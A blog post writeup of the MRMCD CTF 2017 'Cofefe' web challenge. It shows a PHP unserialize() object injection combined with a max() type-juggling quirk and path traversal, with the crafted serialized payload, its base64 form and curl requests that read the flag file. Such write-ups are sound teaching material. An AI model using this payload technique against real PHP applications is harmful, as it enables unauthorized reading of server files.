Digital Naïve

jomo's blog

MRMCD CTF 2017 writeup: Cofefe

I participated in the MRMCD CTF and since they asked for writeups, here comes mine about the ‘Cofefe’ challenge.

Cofefe challenge screenshot

Provided was the following description:

Do you have trouble to stay awake at the MRMCD? No problem, we can BREW some Covfefe with various additions for you! While drinking, you might also want to read /flag.txt?

The challenge also had a website link and that website’s source code.1

This was the site’s response:

HTTP/1.0 418 I'm a teapot

Actually I'm not a Teapot, but a RFC2324 Covfefe machine...
So let me BREW something for you!
You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond

That seems to be an implementation of the 1998 April Fool’s RFC 2324 (HTCPCP). But instead of wasting time by proofreading the whole implementation or writing an HTCPCP client, we’ll just follow the hint and start looking for the /flags.txt file.

Given that there is only one method in the source code that reads and returns the content of a file, this should be what we’re looking for:

class Covfefe {
  // ...
  function get() {
    global $top;
    $id = max(0, $this->id); //implicit integer cast
    $fname = "covfefe/".$id;
    $content = file_get_contents($fname);
    unlink($fname);
    return $top . $content;
  }
  // ...
}

Our goal is to set $fname = "/flags.txt" (or something equivalent).
Obviously we can’t change the hardcoded "covfefe/" prefix, but the latter part is set to the result of max(0, $this->id) at runtime.

Since we’re dealing with PHP™, max() comes with this nice warning:

Caution: Be careful when passing arguments with mixed types values because max() can produce unpredictable results.

Let’s play around:

~> php -a
Interactive shell

php > echo max(0, "flags.txt");
0
php > echo max(0, "1flags.txt");
1flags.txt
php > echo max(0, "1/../../flags.txt");
1/../../flags.txt

And there we have it. Thanks to path normalization, covfefe/1/../../flags.txt will be turned into flags.txt. Next step is figuring out how to set $this->id, which is declared here:

class Covfefe {
  public $id = 42;
  // ...
  function __construct() {
      global $bottom;
      global $middle;
      $this->id = rand();
      $this->time = time();
      $this->add($bottom);
      $this->add($middle." <- Covfefe\n");
  }
  // ...
}

So the id is set to 42 by default, but overridden in __construct(), which is a special method in PHP that is called “on each newly-created object, so it is suitable for any initialization that the object may need before it is used.”

But rand() only returns integers, so we need to look elsewehre. The unserialize() method used for GET requests caught my eye:

if ($_SERVER["REQUEST_METHOD"] == "GET") {
    if ($_SERVER['QUERY_STRING'] == "") {
        echo "Actually I'm not a Teapot, but a RFC2324 Covfefe machine...\n";
        echo "So let me BREW something for you!\n";
        echo "You can add additions[] Milk,Cream,Whisky,Rum,Kahlua,Aquavit,Vanilla,Almond";
    } else {
        $c = unserialize(base64_decode($_SERVER['QUERY_STRING']));
        echo $c->get();
    }
}

“Unserialize” sounded suspicious to me, and PHP delivers:

Warning: Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.

As noted in the documentation of the Serializable interface, unserialize() serves as the constructor and __construct() is not called. Therefore it would not override the unserialized id.

So basically we just need to serialize the Covfefe object with our desired id, let’s try:

~> php -a
Interactive shell

php > class Covfefe { public $id = "1/../../flags.txt"; }
php > echo serialize(new Covfefe);
O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}

The format is quite simple, it defines an Object with the 7 character name "Covfefe" that has 1 property with a string name, namely the 2 character "id" with a string value of 17 characters "1/../../flags.txt".

The serialized object needs to be Base64-encoded and then it’s just used as the query string:

~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:17:"1/../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjE3OiIxLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='


                        (
                          )     (
                   ___...(-------)-....___
               .-""       )    (          ""-.
         .-'``'|-._             )         _.-|
        /  .--.|   `""---...........---""`   |
       /  /    |                             |

That’s just the $top, the file $content seems to be empty? Maybe /flags.txt didn’t mean the webroot, but the absolute root instead?

~> echo -n 'O:7:"Covfefe":1:{s:2:"id";s:29:"1/../../../../../../flags.txt";}' | base64
Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ==
~> curl 'http://ctf.canthack.me:8889?Tzo3OiJDb3ZmZWZlIjoxOntzOjI6ImlkIjtzOjI5OiIxLy4uLy4uLy4uLy4uLy4uLy4uL2ZsYWdzLnR4dCI7fQ=='


                        (
                          )     (
                   ___...(-------)-....___
               .-""       )    (          ""-.
         .-'``'|-._             )         _.-|
        /  .--.|   `""---...........---""`   |
       /  /    |                             |
MRMCD{whatever_the_actual_flag_was}

And that’s it \o/


  1. Pastebin backup of index.php